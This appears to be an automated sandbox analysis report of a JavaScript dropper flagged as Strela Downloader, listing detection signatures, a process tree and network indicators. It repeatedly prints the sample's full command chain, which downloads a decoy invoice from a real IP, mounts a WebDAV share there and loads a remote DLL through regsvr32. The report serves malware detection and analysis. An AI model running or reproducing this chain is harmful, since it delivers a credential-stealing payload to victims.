Edit tour

Windows Analysis Report
3414115772858819502.js

Overview

General Information

Sample name:	3414115772858819502.js
Analysis ID:	1588711
MD5:	7948b00e0ec84ea4d931adb7e6fd45c0
SHA1:	d405217b281a107606307ca0dd8eee442d8b813e
SHA256:	3bd9fc918ad946a14bb1cf456f3c302f0aff6b89a0dd66fba998f6a1645663e0
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7496 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3414115772858819502.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7548 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7556 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7600 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7796 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8016 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7284 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2152 --field-trial-handle=1584,i,9446064916445789587,12544552719755005213,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7824 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7916 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8080 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7496	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7548, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7600, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7548, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7600, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3414115772858819502.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3414115772858819502.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3414115772858819502.js", ProcessId: 7496, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3414115772858819502.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7496, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, ProcessId: 7548, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3414115772858819502.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7496, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, ProcessId: 7548, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3414115772858819502.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7496, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, ProcessId: 7548, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3414115772858819502.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7496, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, ProcessId: 7548, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3414115772858819502.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7496, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, ProcessId: 7548, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3414115772858819502.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3414115772858819502.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3414115772858819502.js", ProcessId: 7496, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7548, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7600, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7824, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7916, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8080, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7824, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7916, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3414115772858819502.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7496, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, ProcessId: 7548, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 3414115772858819502.js

Virustotal: Detection: 12%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 3414115772858819502.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 3414115772858819502.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000002.1700090685.000001CCBF37A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1759232512.000002305A04E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1757349175.000002305A02E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1759119073.0000023059FF8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1759232512.000002305A02E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1754673317.000002305A04C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000003.1757349175.000002305A02E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1759232512.000002305A02E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/&
Source: net.exe, 00000006.00000003.1757349175.000002305A02E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1759232512.000002305A02E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/.
Source: net.exe, 00000006.00000003.1757349175.000002305A02E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1759232512.000002305A02E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/b
Source: net.exe, 00000006.00000003.1757349175.000002305A02E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1759232512.000002305A02E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/j
Source: net.exe, 00000006.00000002.1759119073.0000023059FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tm(
Source: svchost.exe, 00000008.00000002.2983953051.0000021A3908E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1758090050.0000021A39218000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1758090050.0000021A39218000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1758090050.0000021A39218000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1758090050.0000021A3924D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1758090050.0000021A392C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1758090050.0000021A392C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1758090050.0000021A392C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7496, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll
